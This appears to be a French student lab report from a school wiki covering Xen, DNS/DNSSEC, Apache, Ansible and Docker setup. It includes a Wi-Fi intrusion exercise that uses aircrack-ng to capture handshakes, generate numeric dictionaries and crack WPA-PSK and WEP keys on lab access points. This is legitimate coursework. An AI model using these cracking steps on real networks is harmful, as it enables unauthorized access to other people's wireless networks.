Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.&lt;br /&gt;
&lt;br /&gt;
===== Motd =====&lt;br /&gt;
Dans le dossier tasks on crée un fichier main.yml:&lt;br /&gt;
  - name: Write on motd&lt;br /&gt;
    copy:&lt;br /&gt;
       dest: /etc/motd&lt;br /&gt;
       src: motd&lt;br /&gt;
&lt;br /&gt;
Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.&lt;br /&gt;
Ce fichier motd contiendra notre message.&lt;br /&gt;
&lt;br /&gt;
===== NTP =====&lt;br /&gt;
Pour le serveur de temps dans le fichier main.yml on ajoute: &lt;br /&gt;
  - name: install ntp&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntp&lt;br /&gt;
  - name: install ntpdate&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntpdate  &lt;br /&gt;
  - name: Copy over the NTP configuration&lt;br /&gt;
    copy: src=ntp.conf dest=/etc/ntp.conf&lt;br /&gt;
    tags: ntp&lt;br /&gt;
   - name: Stop ntp&lt;br /&gt;
     service: name=ntp state=stopped enabled=yes&lt;br /&gt;
     tags: ntpd                            &lt;br /&gt;
  - name: Sync time initialy&lt;br /&gt;
    shell: ntpdate ntp.polytech-lille.fr&lt;br /&gt;
    tags: ntp&lt;br /&gt;
  - name: Make sure NTP is started up&lt;br /&gt;
    service: name=ntp state=started enabled=yes&lt;br /&gt;
    tags: ntp&lt;br /&gt;
&lt;br /&gt;
Dans le dossier files on crée ntp.conf qui référence notre NTP:&lt;br /&gt;
  server ntp.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
&lt;br /&gt;
Puis on crée notre playbook:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    vars:&lt;br /&gt;
      - pip_install_packages:&lt;br /&gt;
        - name: docker&lt;br /&gt;
      - docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable&amp;quot;&lt;br /&gt;
    roles:&lt;br /&gt;
      - geerlingguy.pip&lt;br /&gt;
      - geerlingguy.docker&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Ça fonctionne, on obtient sur la machine principale:&lt;br /&gt;
[[Fichier:result_jeu_docker.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire, on voit bien que docker a été installé:&lt;br /&gt;
[[Fichier:result-jeu-docker-bis.png|300px|center]]&lt;br /&gt;
&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
On suit ce tutoriel:&lt;br /&gt;
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e&lt;br /&gt;
&lt;br /&gt;
Pour tester la partie docker indépendamment, sur la machine secondaire:&lt;br /&gt;
:- on crée notre index.html (basique)&lt;br /&gt;
:- on crée notre dockerfile:&lt;br /&gt;
  FROM centos:latest&lt;br /&gt;
  MAINTAINER NewstarCorporation&lt;br /&gt;
  RUN yum -y install httpd&lt;br /&gt;
  COPY index.html /var/www/html/&lt;br /&gt;
  CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]&lt;br /&gt;
  EXPOSE 80&lt;br /&gt;
&lt;br /&gt;
On crée l'image:&lt;br /&gt;
  docker build DockerFiles/ -t webserver:v1&lt;br /&gt;
&lt;br /&gt;
[[Fichier:result-httpd.png|400px|center]]&lt;br /&gt;
&lt;br /&gt;
Puis on la run:&lt;br /&gt;
  docker run -dit -p 1234:80 webserver:v1&lt;br /&gt;
&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51809</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51809"/>
				<updated>2019-12-16T13:54:47Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Création de votre conteneur */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM&lt;br /&gt;
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.&lt;br /&gt;
&lt;br /&gt;
On reboot les VM:&lt;br /&gt;
  xl reboot chlamydiae&lt;br /&gt;
ou&lt;br /&gt;
  xl destroy chlamydiae&lt;br /&gt;
  xl create chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
Pour se connecter a une VM:&lt;br /&gt;
  xl console chlamydiae&lt;br /&gt;
&lt;br /&gt;
Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:&lt;br /&gt;
  # The primary network interface&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 193.48.57.180&lt;br /&gt;
   netmask 255.255.255.240&lt;br /&gt;
&lt;br /&gt;
Puis ifup / ifdown de eth0.&lt;br /&gt;
&lt;br /&gt;
Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Cordouan on installe bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accès au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter: &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
C'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2: ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
&lt;br /&gt;
Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options: &lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.&lt;br /&gt;
Pour générer les clés  KSK on lance la commande suivante: &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site&lt;br /&gt;
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site&lt;br /&gt;
On renomme nos clefs avec des noms plus explicite : &lt;br /&gt;
 chlamydiae.site-ksk.key&lt;br /&gt;
 chlamydiae.site-ksk.private&lt;br /&gt;
 chlamydiae.site-zsk.key&lt;br /&gt;
 chlamydiae.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key&lt;br /&gt;
On signe les enregistrements de la zone en exécutant la  commande suivante (dans le répertoire chlamydiae.site-dnssec): &lt;br /&gt;
 dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que notre zone est signé.On  modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé : &lt;br /&gt;
 file &amp;quot;/etc/bind/db.hadess.space.signed&amp;quot;;&lt;br /&gt;
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.&lt;br /&gt;
&lt;br /&gt;
Enfin, on relance le service bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  # export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # = adresse de private-chlamydiae + 10&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 193.48.57.180       # l'adresse de la VM principale&lt;br /&gt;
   address 192.168.0.4&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private:&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On lance le playbook:&lt;br /&gt;
  ansible-playbook jeu-lsb-release.yml&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
===Paramétrage des rôles===&lt;br /&gt;
Crée un dossier roles dans /root &lt;br /&gt;
 mkdir roles &lt;br /&gt;
&lt;br /&gt;
Créer dans le dossier roles un dossier common et un fichier common.yml&lt;br /&gt;
 mkdir common &amp;amp;&amp;amp; vim common.yml &lt;br /&gt;
&lt;br /&gt;
Dans le fichier Common.yml: &lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    tasks:&lt;br /&gt;
      - name: include common&lt;br /&gt;
        include_role:&lt;br /&gt;
          name: common&lt;br /&gt;
&lt;br /&gt;
Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.&lt;br /&gt;
&lt;br /&gt;
===== Motd =====&lt;br /&gt;
Dans le dossier tasks on crée un fichier main.yml:&lt;br /&gt;
  - name: Write on motd&lt;br /&gt;
    copy:&lt;br /&gt;
       dest: /etc/motd&lt;br /&gt;
       src: motd&lt;br /&gt;
&lt;br /&gt;
Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.&lt;br /&gt;
Ce fichier motd contiendra notre message.&lt;br /&gt;
&lt;br /&gt;
===== NTP =====&lt;br /&gt;
Pour le serveur de temps dans le fichier main.yml on ajoute: &lt;br /&gt;
  - name: install ntp&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntp&lt;br /&gt;
  - name: install ntpdate&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntpdate  &lt;br /&gt;
  - name: Copy over the NTP configuration&lt;br /&gt;
    copy: src=ntp.conf dest=/etc/ntp.conf&lt;br /&gt;
    tags: ntp&lt;br /&gt;
   - name: Stop ntp&lt;br /&gt;
     service: name=ntp state=stopped enabled=yes&lt;br /&gt;
     tags: ntpd                            &lt;br /&gt;
  - name: Sync time initialy&lt;br /&gt;
    shell: ntpdate ntp.polytech-lille.fr&lt;br /&gt;
    tags: ntp&lt;br /&gt;
  - name: Make sure NTP is started up&lt;br /&gt;
    service: name=ntp state=started enabled=yes&lt;br /&gt;
    tags: ntp&lt;br /&gt;
&lt;br /&gt;
Dans le dossier files on crée ntp.conf qui référence notre NTP:&lt;br /&gt;
  server ntp.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
&lt;br /&gt;
Puis on crée notre playbook:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    vars:&lt;br /&gt;
      - pip_install_packages:&lt;br /&gt;
        - name: docker&lt;br /&gt;
      - docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable&amp;quot;&lt;br /&gt;
    roles:&lt;br /&gt;
      - geerlingguy.pip&lt;br /&gt;
      - geerlingguy.docker&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Ça fonctionne, on obtient sur la machine principale:&lt;br /&gt;
[[Fichier:result_jeu_docker.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire, on voit bien que docker a été installé:&lt;br /&gt;
[[Fichier:result-jeu-docker-bis.png|300px|center]]&lt;br /&gt;
&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
On suit ce tutoriel:&lt;br /&gt;
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e&lt;br /&gt;
&lt;br /&gt;
Pour tester la partie docker indépendamment, sur la machine secondaire:&lt;br /&gt;
:- on crée notre index.html (basique)&lt;br /&gt;
:- on crée notre dockerfile:&lt;br /&gt;
  FROM centos:latest&lt;br /&gt;
  MAINTAINER NewstarCorporation&lt;br /&gt;
  RUN yum -y install httpd&lt;br /&gt;
  COPY index.html /var/www/html/&lt;br /&gt;
  CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]&lt;br /&gt;
  EXPOSE 80&lt;br /&gt;
&lt;br /&gt;
On crée l'image:&lt;br /&gt;
  docker build DockerFiles/ -t webserver:v1&lt;br /&gt;
&lt;br /&gt;
[[Fichier:result-httpd.png|400px|center]]&lt;br /&gt;
&lt;br /&gt;
Puis on la run:&lt;br /&gt;
  docker run -dit -p 1234:80 webserver:v1&lt;br /&gt;
&lt;br /&gt;
Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible, on crée le fichier Yaml:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install rsync&lt;br /&gt;
      apt:&lt;br /&gt;
        state: latest&lt;br /&gt;
        name: 'rsync'&lt;br /&gt;
  &lt;br /&gt;
    - name: transfer files&lt;br /&gt;
      copy:&lt;br /&gt;
        src: DockerFiles&lt;br /&gt;
        dest: /tmp/gr4/&lt;br /&gt;
      register: copy_output&lt;br /&gt;
    - debug: var=copy_output&lt;br /&gt;
  &lt;br /&gt;
    - name: Try to stop container&lt;br /&gt;
